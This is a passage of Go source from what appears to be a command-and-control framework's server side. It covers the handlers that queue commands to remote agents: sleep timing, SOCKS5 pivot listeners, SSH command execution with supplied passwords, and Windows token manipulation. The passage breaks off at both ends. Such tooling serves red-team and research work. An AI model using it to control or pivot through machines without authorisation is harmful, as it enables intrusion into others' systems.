// Need to set the Sleep time on the server first to calculate JWT lifetime
err := agents.SetWaitTime(agentID, Args[1])
if err != nil {
return messages.ErrorMessage(err.Error())
}
job, err := jobs.Add(agentID, "sleep", Args)
if err != nil {
return messages.ErrorMessage(err.Error())
}
return messages.JobMessage(agentID, job)
}
return messages.ErrorMessage(fmt.Sprintf("Not enough arguments provided for the Agent SetSleep call: %s", Args))
}
// Socks creates a TCP listener on the provided port and forwards SOCKS5 traffic to the provided agent
func Socks(agentID uuid.UUID, Args []string) messages.UserMessage {
if len(Args) < 2 {
return messages.ErrorMessage("a SOCKS module command (e.g., list/start/stop) must be provided")
}
// Set the SOCKS options
options := make(map[string]string)
options["agent"] = agentID.String()
options["interface"] = "127.0.0.1"
options["port"] = "9050"
options["command"] = Args[1]
switch strings.ToLower(Args[1]) {
case "list":
listeners := socks.GetListeners()
var data string
header := "\n\tAgent\t\t\t\tInterface:Port\n"
header += "==========================================================\n"
if len(listeners) > 0 {
data += header
for _, v := range listeners {
data += fmt.Sprintf("%s\t%s\n", v[0], v[1])
}
} else {
data = "there are currently 0 SOCKS5 listeners"
}
return messages.UserMessage{
Level: messages.Info,
Time: time.Now().UTC(),
Message: data,
}
case "start":
// Arguments 1. start/stop 2. interface:port
if len(Args) > 2 {
if strings.Contains(Args[2], ":") {
i := strings.Split(Args[2], ":")
if len(i) > 1 {
options["interface"] = i[0]
options["port"] = i[1]
}
} else {
options["port"] = Args[2]
}
}
case "stop":
options["command"] = "stop"
default:
return messages.ErrorMessage(fmt.Sprintf("unknown SOCKS command: %s", Args[1]))
}
job, err := socks.Parse(options)
if err != nil {
return messages.ErrorMessage(err.Error())
}
return messages.JobMessage(agentID, strings.Join(job, " "))
}
// SSH executes a command on a remote host through the SSH protocol and returns the output
func SSH(agentID uuid.UUID, Args []string) messages.UserMessage {
if len(Args) < 5 {
return messages.ErrorMessage("not enough arguments: ssh <username> <password> <host:port> <application> [<args>]")
}
job, err := jobs.Add(agentID, Args[0], Args[1:])
if err != nil {
return messages.ErrorMessage(err.Error())
}
return messages.JobMessage(agentID, job)
}
// Token is used to interact with Windows Access Tokens on the agent
func Token(agentID uuid.UUID, Args []string) messages.UserMessage {
if len(Args) < 0 {
return messages.ErrorMessage("not enough arguments, a token module command must be provided")